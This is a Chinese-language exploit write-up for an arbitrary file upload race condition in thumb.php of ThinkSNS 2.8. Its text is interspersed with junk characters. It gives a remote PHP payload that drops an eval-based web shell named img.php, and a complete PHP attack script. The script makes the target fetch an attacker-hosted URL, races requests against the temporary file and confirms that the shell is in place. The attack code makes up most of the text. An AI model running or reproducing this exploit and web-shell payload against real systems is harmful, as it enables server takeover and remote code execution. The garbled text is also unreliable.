漏洞版本
* _: g- L4 U" s存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过), J7 Y# W' Z& U: f
漏洞文件
8 g2 @) N( f2 F2 f) D" L存在漏洞的文件为:thumb.php
. {2 o- x; C( V3 c作者:韦鲲鹏
* t1 m* y0 r4 |* L; Y# p( N9 ?+ c7 h* h1、 准备如下PHP文件并上传到服务器(自己的)。+ q: B4 o0 r" s% @. i
文件内容如下:% `9 X: }* s# v S
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
- l& t% H. U4 Q8 a. E$ v2、 计算出临时的文件名:
6 Z4 C/ T/ I" `: h& ]这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ ]# R, \# t+ h* ^ b& H' `; e6 B3 p- g* E- X# k: |8 a1 i% y
3、 上传临时文件。
2 ~/ b' B/ i. g, F- g5 n4、 访问临时文件。: O, `& H: ]' C4 ]" G
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
" D0 q4 w' x# O8 ]( E& u/ dExploit文件内容如下:(这个我就不详细解释了)
/ Q2 x+ ]; b/ R% ~3 u& e1 B<?php5 F9 c2 B, V7 ~% D6 c
error_reporting(0);+ ^7 }8 m1 b1 W9 A* ^8 K; n
set_time_limit(0);% e( I0 G* i4 c+ M* g' O" k) q6 Q
ini_set(“default_socket_timeout”, 5);
; l0 F: U- Y/ i2 s2 ufunction http_send($host, $port, $headers) {/ h7 u2 U. V( k9 u2 v. }
$fp = fsockopen($host, $port);( g$ u1 i+ h& I- V7 @# F! p
if (!$fp) die(‘Connection -> fail’);& U6 v' @% h: Y, v* ?0 n' _6 F
fputs($fp, $headers);
, r4 O! }; x: E8 ]return $fp;
4 M; Q$ H% }4 u6 g) o) |}1 {; A( B& Q! M7 J
function http_recv($fp) {
3 y1 g3 x5 W$ z8 x, k$ret=”";" J! Q) _/ A9 A5 [: L$ m0 a
while (!feof($fp))
$ M! n- i' C1 O( U; K% B$ret.= fgets($fp, 1024);
- _" ]3 w- h0 k' v# p; Efclose($fp);# w+ S8 R! }3 o/ v& {! O
return $ret;, K( p: D% H1 g: W$ _
} t5 A/ |6 F/ w6 t6 o
print “\n# ThinkSns Arbitrary File Upload #\n”;, N$ L9 r7 G" e7 g5 U. Q
print “# Discovered by 韦鲲鹏 #\n\n”;' j& z o: r; W8 X9 N& J1 n( [
if ($argc < 4) {4 F3 ^0 e0 H1 e- Y4 [9 ~
print “Usage: php <host> <path> <romote_url>\n”;' R& H) z* i7 g @2 J9 L: d3 R: q$ l: r
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
+ m% T0 l: E, c( f7 v$ X5 ddie();
9 A K: s7 x6 Y% r}/ l# [6 Q) o4 n/ _2 V5 M+ H/ v. F
$host = $argv[1];& G. B; \( l" D0 d* K0 a" y
$path = $argv[2];; r% W: \' }% u8 {
$url = $argv[3];9 C; ]6 @* n5 K) w7 C) `
$i=0;
$ r0 ^" d {/ e. e//上传数据包
; L2 h0 V3 j6 C9 w+ r: V$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$ x) Y; x9 b% C* R; K5 }$headers_up .= “Host: “.$host.”\r\n”;; p3 _1 L9 z6 u, O
$headers_up .= “Connection: close\r\n\r\n”;
# V( v+ A% \* n7 L1 L4 ^) _9 fecho $headers_up;
- S# g% ~/ f7 U//临时文件访问数据包$ A9 [& y% m' x
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$ b% `, u- ?$ P$ G3 U2 J( \$headers .= “Host: “.$host.”\r\n”;
+ B/ H1 g+ B, r4 n$headers .= “Connection: close\r\n\r\n”;$ ^9 Y2 N; e- ]* K( j! |
echo $headers;, y7 m0 S& l6 F: d1 s
while(++$i<10) {
6 ?* C+ I3 i* }! \& N. q0 _fclose(http_send($host, 80, $headers));
; x3 l W4 c3 G P' @} Y: D4 r, E @ R' [8 v! K
fclose(http_send($host, 80, $headers_up));9 ~% ?/ @ m4 y; q( d8 M; e8 Q
while(++$i<50) {
! p5 T9 Z* F2 C1 h8 K6 Pfclose(http_send($host, 80, $headers));
2 K) y4 l+ A4 l" w}
: X7 ]: H- R3 A$ g! \1 K$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
/ X S7 @% ?; R. Q- J" O$headers .= “Host: “.$host.”\r\n”;& f. l# Y* b% b+ B, `5 k0 w
$headers .= “Connection: close\r\n\r\n”;
5 b1 P0 B3 @% {1 |) ~" P! c6 L6 z$res=http_recv(http_send($host, 80, $headers));& ] [. \, x. o# h& ?" F
if(preg_match(‘/200 OK/’,$res)) {
$ }/ d8 j; i* Q% bprint “Success!\n\n”;$ V \8 C# s; X/ ?7 \4 j
} else {
( T$ n: U' Z9 r4 e8 L0 xprint “Fail!\n\n”;; k2 U# q: W" ]
}
! Q6 c B2 w& `?>! S! f1 M% ? o8 T) S0 D6 l9 y
|